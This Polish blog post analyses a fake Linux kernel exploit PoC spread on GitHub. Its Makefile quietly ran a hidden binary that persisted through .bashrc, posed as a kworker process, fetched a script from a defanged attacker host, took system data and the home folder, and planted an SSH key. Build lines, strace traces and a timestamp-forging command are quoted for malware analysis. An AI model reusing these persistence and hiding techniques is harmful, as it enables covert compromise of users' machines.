NFsec Logo

Kiedy skrypciaki łykają jak młody pelikan na zimę

13/07/2023 w Bezpieczeństwo Brak komentarzy.  (artykuł nr 865, ilość słów: 1158)

3

lipca odnośnik do eksploita umożliwiającego uzyskanie uprawnień administratora w systemie Linux rozprzestrzenił się w różnych społecznościach na Telegramie i Twitterze. Napisała nawet o tym prasa branżowa. Rzekomy kod dowodu koncepcji (Proof of Concept – PoC) błędu opisanego w CVE-2023-35829 niestety okazał się zupełnie czymś innym niż pierwotnie zakładano. Przed usunięciem fałszywego profilu użytkownika ChriSanders22 z serwisu GitHub kod PoC został oznaczony gwiazdką przez ponad 100 użytkowników, a 25’ciu rozgałęziło go na swoje konta. Kilka osób, które uruchomiło kod bez jego weryfikacji zauważyło dziwne zmiany w plikach konfiguracyjnych powłoki bash – $HOME/.bashrc. Jak to? Co ma wspólnego exploit z dopisywaniem czegoś o plików powłoki? Otóż jeśli przyjrzeć się bliżej procesowi kompilacji to można zauważyć, że plik Makefile odwoływał się do binarnego pliku alocal.m4:

14  $(TARGET): $(OBJECTS)
15          $(CC) $(LDFLAGS) -o $@ $^
16	    strip $@
17	    ./src/aclocal.m4
agresor@darkstar:~/CVE-2023-35829-poc$ make
mkdir obj
cc -c src/keyring.c -o obj/keyring.o -I./inc
cc -c src/main.c -o obj/main.o -I./inc
cc -c src/modprobe.c -o obj/modprobe.o -I./inc
cc -c src/netlink.c -o obj/netlink.o -I./inc
cc -c src/nf_tables.c -o obj/nf_tables.o -I./inc
cc -c src/simple_xattr.c -o obj/simple_xattr.o -I./inc
cc -c src/uring.c -o obj/uring.o -I./inc
cc -c src/util.c -o obj/util.o -I./inc
cc -pthread -static -o poc obj/keyring.o obj/main.o obj/modprobe.o obj/netlink.o 
    obj/nf_tables.o obj/simple_xattr.o obj/uring.o obj/util.o
strip poc
./src/aclocal.m4
cc -o get_root get_root_src/get_root.c
rm -fr get_root

Co dokładnie robiła tajemnicza binarka? Otóż pierwszym jej krokiem było “sklonowanie siebie” do pliku w ścieżce $HOME/.local/kworker i nadanie praw do wykonywania:

agresor@darkstar:~$ ls -al .local/kworker
-rwxrwx--- 1 agresor agresor 23256 Jun  8 16:27 .local/kworker

Mechanizm persystencji w systemie polegał na skopiowaniu wywołania tej samej ścieżki do pliku $HOME/.bashrc, tak aby każde uruchomienie powłoki startowało też szkodliwy proces:

agresor@darkstar:~$ grep kworker .bashrc
/home/agresor/.local/kworker

Po uruchomieniu procesu tworzony był plik blokady, aby zapewnić, że proces nie zostanie wykonany więcej niż jeden raz:

agresor@darkstar:~$ ls -al /tmp/.ICE-unix.pid
-rw-rw-r-- 1 agresor agresor 5 Jun  8 17:09 /tmp/.ICE-unix.pid
agresor@darkstar:~$ cat /tmp/.ICE-unix.pid
3752
agresor@darkstar:~$ ps x | grep kworker
   3753 pts/0    S      0:00 [kworker/8:3] .local/kworker

Po sprawdzeniu ścieżki /tmp/.ICE-unix.pid zapisywał PID (3752) aktualnie uruchomionego procesu – tylko jeśli żadna funkcja nie użyła wywołania flock(2) do ograniczenia dostępu do pliku. Uruchomienie programu w tle jest kontynuowane tylko wtedy, gdy główna funkcja zwraca zero (0), co wskazuje, że bieżący proces jest wyłączny:

openat(AT_FDCWD, "/tmp/.ICE-unix.pid", O_RDWR|O_CREAT, 0666) = 3
flock(3, LOCK_EX|LOCK_NB)               = 0
getpid()                                = 3752
ftruncate(3, 0)                         = 0
write(3, "3752\n", 5)                   = 5
stat("/tmp/.ICE-unix.pid", {st_mode=S_IFREG|0664, st_size=5, ...}) = 0
utimensat(AT_FDCWD, "/tmp/.ICE-unix.pid", [{tv_sec=1689268194, tv_nsec=0} 
          /* 2023-07-13T17:09:54+0000 */, {tv_sec=1686244194, tv_nsec=0} 
          /* 2023-06-08T17:09:54+0000 */], 0) = 0
clone(child_stack=NULL, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, 
      child_tidptr=0x7fe77f67fc50) = 3753
exit_group(0)                           = ?
+++ exited with 0 +++

Należy też zwrócić uwagę na fakt, że tworzony jest łańcuch [kworker/8:3], aby ukryć oryginalne parametry wiersza poleceń:

root@darkstar:~# cat /proc/3753/comm
kworker
root@darkstar:~# cat /proc/3753/cmdline
[kworker/8:3].local/kworker
root@darkstar:~# ls -la /proc/3753/fd
total 0
dr-x------ 2 agresor agresor  0 Jul 13 18:05 .
dr-xr-xr-x 9 agresor agresor  0 Jul 13 18:05 ..
lrwx------ 1 agresor agresor 64 Jul 13 18:05 0 -> /dev/pts/0
lrwx------ 1 agresor agresor 64 Jul 13 18:05 1 -> /dev/pts/0
lrwx------ 1 agresor agresor 64 Jul 13 18:05 2 -> /dev/pts/0
lrwx------ 1 agresor agresor 64 Jul 13 18:05 3 -> /tmp/.ICE-unix.pid

Po wystartowaniu w tle proces odczekiwał dwie minuty:

clock_nanosleep(CLOCK_REALTIME, 0, {tv_sec=120, tv_nsec=0}

Po czym wykonywał żądanie HTTP do URL: hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php (tutaj oszukany jako localhost):

getpeername(6, {sa_family=AF_INET, sin_port=htons(80), sin_addr=inet_addr("127.0.0.1")}, 
            [128 => 16]) = 0 <0.000184>
getsockname(6, {sa_family=AF_INET, sin_port=htons(45500), sin_addr=inet_addr("127.0.0.1")},
            [128 => 16]) = 0 <0.000180>
sendto(6, "GET /hash.php HTTP/1.1\r\nHost: cunniloss.accesscam.org\r\nAccept: */*\r\n\r\n", 
       70, MSG_NOSIGNAL, NULL, 0) = 70 <0.000231>
---
root@darkstar:~# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

127.0.0.1 - - [13/Jul/2023 17:58:11] "GET /hash.php HTTP/1.1" 200 -
---
root@darkstar:~# tcpflow -i any -c port 80
reportfilename: ./report.xml
tcpflow: listening on any

127.000.000.001.45934-127.000.000.001.00080: GET /hash.php HTTP/1.1
Host: cunniloss.accesscam.org
User-Agent: curl/7.81.0
Accept: */*

Plik hash.php był w rzeczywistości skryptem bash, który był uruchamiany jeśli żądanie curl się powiodło. Należy zwrócić uwagę na charakterystykę żądania HTTP, ponieważ gdy żądanie było wykonane z nieprawidłowymi metadanymi (np. nagłówek User-Agent nie z narzędzia curl, inny Accept) wówczas serwer atakującego nie zwracał skryptu bash tylko pustą zawartość i blokował adres IP klienta. Jak możemy odczytać instrukcje w skrypcie – zbierał on dane o serwerze (uname, uptime..) do pliku tekstowego, następnie wykonywał zrzut ekranu, aby na końcu skompresować cały folder domowy użytkownika. Po każdym z tych kroków wysyłał zebrane dane od razu do serwisu transfer[.]sh (legalna usługa hostingu plików niezwiązana z atakiem) oraz przekazywał linki do przesłanych plików na swój serwer cunniloss. Ostatnim krokiem było dodanie swojego klucza SSH jako autoryzowanego do ścieżki: ~/.ssh/authorized_keys oraz trick resetujący sygnatury czasu tak, aby nie można było poznać, że plik ten został ostatnio zmodyfikowany:

AUTH=~/.ssh/authorized_keys
touch -r /etc/passwd $AUTH

A, co z samym PoC – oczywiście był to specjalnie spreparowany kod, który śpi przez losowy czas, drukuje “legitnie” wyglądające napisy, ostatecznie uruchamiając powłokę /bin/bash. W dodatku podczas wydania polecenia whoami fałszuje identyfikator użytkownika i wyświetla “root”. To oszustwo odbywa się poprzez wykorzystanie różnicy w identyfikatorze przestrzeni nazw użytkownika wewnątrz i na zewnątrz powłoki PoC. Nauka z tego płynie taka, aby zawsze sprawdzać kod źródłowy oprogramowania pobranego z “obcych” repozytoriów. Jeśli nie czujemy się kompetentni w danym języku programowania to i tak należy zawsze uruchamiać tego rodzaju kod tylko w odizolowanych środowiskach badawczych, takich jak maszyny wirtualne – najlepiej na takich, które wyposażone są w oprogramowanie zbierające zdarzenia (plikowe, sieciowe, uruchomieniowe) z systemu byśmy mogli je później przeanalizować. Chociaż nie jest to całkowicie nowy trend, rozprzestrzenianie złośliwego oprogramowania za pośrednictwem kodów PoC stanowi poważne zagrożenie i prawdopodobnie będziemy świadkami dalszej ewolucji tej taktyki.

Więcej informacji: CVE-2023-35829-poc & CVE-2023-20871-poc: If it looks too good to be true…, Fake PoC for Linux Kernel Vulnerability on GitHub Exposes Researchers to Malware, PoC Exploit: Fake Proof of Concept with Backdoor Malware, Alert: Vulnerability Researchers and Red Team Members Targeted in Watering Hole Attack, Andrei Scutariu on Twitter

Kategorie K a t e g o r i e : Bezpieczeństwo

Tagi T a g i : , , , , ,

Komentowanie tego wpisu jest zablokowane.